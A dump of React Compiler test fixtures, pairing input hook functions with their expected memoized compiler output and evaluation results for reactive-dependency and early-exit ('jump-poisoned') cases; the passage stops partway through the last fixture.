    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport {CONST_TRUE, setProperty} from 'shared-runtime';\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  let y = {};\n  let x = {};\n  if (CONST_TRUE) {\n    setProperty(x, props.a.b);\n  }\n  setProperty(y, props.a.b);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{a: {b: 3}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport { CONST_TRUE, setProperty } from \"shared-runtime\";\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a.b) {\n    const y = {};\n    const x = {};\n    if (CONST_TRUE) {\n      setProperty(x, props.a.b);\n    }\n    setProperty(y, props.a.b);\n    t0 = [x, y];\n    $[0] = props.a.b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{ a: { b: 3 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"wat0\":3},{\"wat0\":3}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/join-uncond-scopes-cond-deps.js",
    "content": "// This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport {CONST_TRUE, setProperty} from 'shared-runtime';\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  let y = {};\n  let x = {};\n  if (CONST_TRUE) {\n    setProperty(x, props.a.b);\n  }\n  setProperty(y, props.a.b);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{a: {b: 3}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({obj, objIsNull}) {\n  const x = [];\n  b0: {\n    if (objIsNull) {\n      break b0;\n    }\n    x.push(obj.a);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { obj, objIsNull } = t0;\n  let x;\n  if ($[0] !== obj || $[1] !== objIsNull) {\n    x = [];\n    bb0: {\n      if (objIsNull) {\n        break bb0;\n      }\n\n      x.push(obj.a);\n    }\n    $[0] = obj;\n    $[1] = objIsNull;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ obj: null, objIsNull: true }],\n  sequentialRenders: [\n    { obj: null, objIsNull: true },\n    { obj: { a: 2 }, objIsNull: false },\n    // check we preserve nullthrows\n    { obj: { a: undefined }, objIsNull: false },\n    { obj: undefined, objIsNull: false },\n    { obj: { a: undefined }, objIsNull: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) []\n[2]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-in-scope.ts",
    "content": "function useFoo({obj, objIsNull}) {\n  const x = [];\n  b0: {\n    if (objIsNull) {\n      break b0;\n    }\n    x.push(obj.a);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    }\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(5);\n  const { input, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== input) {\n    x = [];\n    bb0: {\n      if (cond) {\n        break bb0;\n      }\n      let t1;\n      if ($[3] !== input.a.b) {\n        t1 = identity(input.a.b);\n        $[3] = input.a.b;\n        $[4] = t1;\n      } else {\n        t1 = $[4];\n      }\n      x.push(t1);\n    }\n    $[0] = cond;\n    $[1] = input;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: { a: { b: 2 } }, cond: false },\n    // preserve nullthrows\n    { input: null, cond: false },\n    { input: null, cond: true },\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\n[]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/break-poisons-outer-scope.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    }\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({obj, objIsNull}) {\n  const x = [];\n  for (let i = 0; i < 5; i++) {\n    if (objIsNull) {\n      continue;\n    }\n    x.push(obj.a);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { obj, objIsNull } = t0;\n  let x;\n  if ($[0] !== obj || $[1] !== objIsNull) {\n    x = [];\n    for (let i = 0; i < 5; i++) {\n      if (objIsNull) {\n        continue;\n      }\n\n      x.push(obj.a);\n    }\n    $[0] = obj;\n    $[1] = objIsNull;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ obj: null, objIsNull: true }],\n  sequentialRenders: [\n    { obj: null, objIsNull: true },\n    { obj: { a: 2 }, objIsNull: false },\n    // check we preserve nullthrows\n    { obj: { a: undefined }, objIsNull: false },\n    { obj: undefined, objIsNull: false },\n    { obj: { a: undefined }, objIsNull: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) []\n[2,2,2,2,2]\n[null,null,null,null,null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[null,null,null,null,null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/loop-break-in-scope.ts",
    "content": "function useFoo({obj, objIsNull}) {\n  const x = [];\n  for (let i = 0; i < 5; i++) {\n    if (objIsNull) {\n      continue;\n    }\n    x.push(obj.a);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond, hasAB}) {\n  const x = [];\n  if (cond) {\n    if (!hasAB) {\n      return null;\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond: true, hasAB: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond: true, hasAB: true},\n    {input: null, cond: true, hasAB: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: {a: undefined}, cond: true, hasAB: true},\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: undefined, cond: true, hasAB: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(9);\n  const { input, cond, hasAB } = t0;\n  let t1;\n  let x;\n  if ($[0] !== cond || $[1] !== hasAB || $[2] !== input) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (cond) {\n        if (!hasAB) {\n          t1 = null;\n          break bb0;\n        }\n        let t2;\n        if ($[5] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[5] = input.a.b;\n          $[6] = t2;\n        } else {\n          t2 = $[6];\n        }\n        x.push(t2);\n      } else {\n        let t2;\n        if ($[7] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[7] = input.a.b;\n          $[8] = t2;\n        } else {\n          t2 = $[8];\n        }\n        x.push(t2);\n      }\n    }\n    $[0] = cond;\n    $[1] = hasAB;\n    $[2] = input;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    t1 = $[3];\n    x = $[4];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { b: 1 }, cond: true, hasAB: false }],\n  sequentialRenders: [\n    { input: { a: { b: 1 } }, cond: true, hasAB: true },\n    { input: null, cond: true, hasAB: false },\n    // preserve nullthrows\n    { input: { a: { b: undefined } }, cond: true, hasAB: true },\n    { input: { a: undefined }, cond: true, hasAB: true },\n    { input: { a: { b: undefined } }, cond: true, hasAB: true },\n    { input: undefined, cond: true, hasAB: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\nnull\n[null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond, hasAB}) {\n  const x = [];\n  if (cond) {\n    if (!hasAB) {\n      return null;\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond: true, hasAB: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond: true, hasAB: true},\n    {input: null, cond: true, hasAB: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: {a: undefined}, cond: true, hasAB: true},\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: undefined, cond: true, hasAB: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond, hasAB}) {\n  const x = [];\n  if (cond) {\n    if (!hasAB) {\n      return null;\n    } else {\n      x.push(identity(input.a.b));\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond: true, hasAB: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond: true, hasAB: true},\n    {input: null, cond: true, hasAB: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: {a: null}, cond: true, hasAB: true},\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(11);\n  const { input, cond, hasAB } = t0;\n  let t1;\n  let x;\n  if ($[0] !== cond || $[1] !== hasAB || $[2] !== input) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (cond) {\n        if (!hasAB) {\n          t1 = null;\n          break bb0;\n        } else {\n          let t2;\n          if ($[5] !== input.a.b) {\n            t2 = identity(input.a.b);\n            $[5] = input.a.b;\n            $[6] = t2;\n          } else {\n            t2 = $[6];\n          }\n          x.push(t2);\n        }\n        let t2;\n        if ($[7] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[7] = input.a.b;\n          $[8] = t2;\n        } else {\n          t2 = $[8];\n        }\n        x.push(t2);\n      } else {\n        let t2;\n        if ($[9] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[9] = input.a.b;\n          $[10] = t2;\n        } else {\n          t2 = $[10];\n        }\n        x.push(t2);\n      }\n    }\n    $[0] = cond;\n    $[1] = hasAB;\n    $[2] = input;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    t1 = $[3];\n    x = $[4];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { b: 1 }, cond: true, hasAB: false }],\n  sequentialRenders: [\n    { input: { a: { b: 1 } }, cond: true, hasAB: true },\n    { input: null, cond: true, hasAB: false },\n    // preserve nullthrows\n    { input: { a: { b: undefined } }, cond: true, hasAB: true },\n    { input: { a: null }, cond: true, hasAB: true },\n    { input: { a: { b: undefined } }, cond: true, hasAB: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,1]\nnull\n[null,null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[null,null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/reduce-if-nonexhaustive-poisoned-deps1.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond, hasAB}) {\n  const x = [];\n  if (cond) {\n    if (!hasAB) {\n      return null;\n    } else {\n      x.push(identity(input.a.b));\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond: true, hasAB: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond: true, hasAB: true},\n    {input: null, cond: true, hasAB: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n    {input: {a: null}, cond: true, hasAB: true},\n    {input: {a: {b: undefined}}, cond: true, hasAB: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({obj, objIsNull}) {\n  const x = [];\n  if (objIsNull) {\n    return;\n  }\n  x.push(obj.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { obj, objIsNull } = t0;\n  let t1;\n  let x;\n  if ($[0] !== obj || $[1] !== objIsNull) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (objIsNull) {\n        t1 = undefined;\n        break bb0;\n      }\n\n      x.push(obj.b);\n    }\n    $[0] = obj;\n    $[1] = objIsNull;\n    $[2] = t1;\n    $[3] = x;\n  } else {\n    t1 = $[2];\n    x = $[3];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ obj: null, objIsNull: true }],\n  sequentialRenders: [\n    { obj: null, objIsNull: true },\n    { obj: { a: 2 }, objIsNull: false },\n    // check we preserve nullthrows\n    { obj: { a: undefined }, objIsNull: false },\n    { obj: undefined, objIsNull: false },\n    { obj: { a: undefined }, objIsNull: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \n[null]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-in-scope.ts",
    "content": "function useFoo({obj, objIsNull}) {\n  const x = [];\n  if (objIsNull) {\n    return;\n  }\n  x.push(obj.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n    // check we preserve nullthrows\n    {obj: {a: undefined}, objIsNull: false},\n    {obj: undefined, objIsNull: false},\n    {obj: {a: undefined}, objIsNull: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  if (cond) {\n    return null;\n  }\n  x.push(identity(input.a.b));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(6);\n  const { input, cond } = t0;\n  let t1;\n  let x;\n  if ($[0] !== cond || $[1] !== input) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (cond) {\n        t1 = null;\n        break bb0;\n      }\n      let t2;\n      if ($[4] !== input.a.b) {\n        t2 = identity(input.a.b);\n        $[4] = input.a.b;\n        $[5] = t2;\n      } else {\n        t2 = $[5];\n      }\n      x.push(t2);\n    }\n    $[0] = cond;\n    $[1] = input;\n    $[2] = t1;\n    $[3] = x;\n  } else {\n    t1 = $[2];\n    x = $[3];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: { a: { b: 2 } }, cond: false },\n    // preserve nullthrows\n    { input: null, cond: false },\n    { input: null, cond: true },\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\nnull\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-poisoned/return-poisons-outer-scope.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  if (cond) {\n    return null;\n  }\n  x.push(identity(input.a.b));\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    } else {\n      x.push(identity(input.a.b));\n    }\n  }\n  return x[0];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(5);\n  const { input, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== input) {\n    x = [];\n    bb0: if (cond) {\n      break bb0;\n    } else {\n      let t1;\n      if ($[3] !== input.a.b) {\n        t1 = identity(input.a.b);\n        $[3] = input.a.b;\n        $[4] = t1;\n      } else {\n        t1 = $[4];\n      }\n      x.push(t1);\n    }\n    $[0] = cond;\n    $[1] = input;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x[0];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: null, cond: true },\n    { input: { a: { b: 2 } }, cond: false },\n    { input: null, cond: true },\n    // preserve nullthrows\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \n2\n\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\nnull\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n3"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/else-branch-scope-unpoisoned.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    } else {\n      x.push(identity(input.a.b));\n    }\n  }\n  return x[0];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    }\n  }\n  x.push(input.a.b); // unconditional\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { input, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== input.a.b) {\n    x = [];\n    bb0: if (cond) {\n      break bb0;\n    }\n\n    x.push(input.a.b);\n    $[0] = cond;\n    $[1] = input.a.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: { a: { b: 2 } }, cond: false },\n    // preserve nullthrows\n    { input: null, cond: false 